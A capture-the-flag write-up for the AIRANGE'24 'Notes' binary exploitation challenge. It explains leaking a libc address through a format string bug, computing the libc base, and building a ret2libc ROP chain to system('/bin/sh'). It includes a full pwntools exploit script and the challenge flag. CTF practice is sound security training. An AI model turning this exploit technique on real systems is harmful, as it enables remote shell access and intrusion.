Published on

AIRANGE'24 - Pwn - Notes

Authors

Challenge Description

Screenshot

Solution

Files provided to us:

Dockerfile
ld-2.35.so
libc.so.6
notes
notes.cpp

Checking binary’s mitigations:

Screenshot

First thing first, lets see what is the vulnerable part. You can see in the following screenshot that we have FSB:

Screenshot

As PIE and NX is enabled. We have to perform ret2libc. Now, open the binary in gdb and let’s see if we could leak an address from libc address range:

%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|
Screenshot

Press ctrl+C and run vmmap to see range of libc; which in our case is 0x7ffff7b40000 - 0x7ffff7d5a000:

Screenshot

And if you see carefully, a leaked address (0x7ffff7b69d90) from this range is present on index 27:

Screenshot

As in this challenge, the PIE (Position Independent Executable) and NX (No eXecute) are enabled, meaning that each time a binary is executed, it generates a seemingly random address for every instruction in binary code. However, upon closer inspection, these addresses are not truly random.

This lack of randomness stems from a concept known as an offset, which represents the distance between any two functions or the distance from the base of the binary to a specific function. This offset remains consistent. For instance, consider two individuals racing, and the difference between them is consistently 2 meters. So, even though they are constantly moving, if the distance between them remains the same and we know the address of one person, we can calculate the address of the other person.

So, if we have a leaked libc function address and somehow we can calculate its offset from the libc base, we can determine the libc base address and call any function that we desire.

Base address + Offset = Function address

With knowledge of one address, it becomes feasible to calculate the offset to another function. Consequently, each time the binary is executed, this offset is randomly generated and added to the base address.

In our case, the leaked address was 0x7ffff7b69d90 and base address is 0x7ffff7b40000. Let’s calculate the offset:

pwndbg> p/x 0x7ffff7b69d90 - 0x7ffff7b40000
Screenshot

As now we know offset, we can calculate libc base address at runtime essentially bypassing PIE protection. 😉

how-it-will-be-calculated
libc.address = <%27$p> - <0x29d90>

Finding offset:

Screenshot
Screenshot

Our offset is 268+8 = 276. Now let's find ret and pop rdi.

But why we need them?

POP_RDI: gadget is used to pop the next value from the stack into the rdi register. In this context, rdi is typically used to pass the first argument to a function. Since the script (that we want to create) aims to call system("/bin/sh"), it needs to pass the address of the string "/bin/sh" as the first argument to system(). Therefore, POP_RDI will be used to load the address of "/bin/sh" into rdi.

RET: gadget is used to return control flow to the address stored on the stack. In the ROP chain, after loading the address of "/bin/sh" into rdi using POP_RDI, the next step is to return to some address. In our case it will be used to maintain alignment or adjust the stack before calling system(). After RET, the system() function from libc will be called, which expects control to be transferred to its entry point with the appropriate arguments in registers.

In short, POP_RDI is used to load the address of "/bin/sh" into rdi, and RET is used for alignment or adjusting the stack before calling system() with the appropriate arguments.

So, to find POP_RDI and RET, I will use rop gadget (rop.find_gadget()).

Final payload that I created:

payload.py
#!/usr/bin/env python3
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

encode = lambda e: e if type(e) == bytes else str(e).encode()       # Lambda function to encode strings to bytes
hexleak = lambda l: int(l[:-1] if l[-1] == '\n' else l, 16)         # Lambda function to convert hex string to integer

exe = "./notes"
elf = context.binary = ELF(exe)
libc = elf.libc

# Set up the connection (remote or local)
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()
# If GDB flag is enabled, attach to the process for debugging
if args.GDB: gdb.attach(io, "b *main")

rop = ROP(libc)

io.sendlineafter(b"$ ", b"1")
io.sendlineafter(b"note: ", b"|%27$p|")
io.sendlineafter(b"$ ", b"2")
io.sendlineafter(b": ", b"0")

# Receiving leaked address and parsing it
leak = int(io.recvline().split(b"|")[1], 16)
print("leak @ %#x" % leak)

# Calculating the libc base address using the leaked address
libc.address = leak - 0x29d90
print("base @ %#x" % libc.address)

# Finding the gadgets needed for ROP chain
POP_RDI = libc.address + rop.find_gadget(['pop rdi', 'ret'])[0]
RET = libc.address + rop.find_gadget(['ret'])[0]

payload = flat(
    cyclic(276),                        # Filling buffer with cyclic pattern (overflow to RIP)
    POP_RDI,                            # Setting up RDI register for system call
    next(libc.search(b"/bin/sh\x00")),  # Address of "/bin/sh" string in libc
    RET,                                # Return address
    libc.sym.system                     # Calling system() function
)

io.sendline(b"0")
io.recvuntil(b'$ ')
io.sendline(b"1")

io.sendline(payload)
io.interactive()

Running it against remote:

Screenshot

Flag:

AUCSS{1_th0ught_cpp_w4s_s3cur3}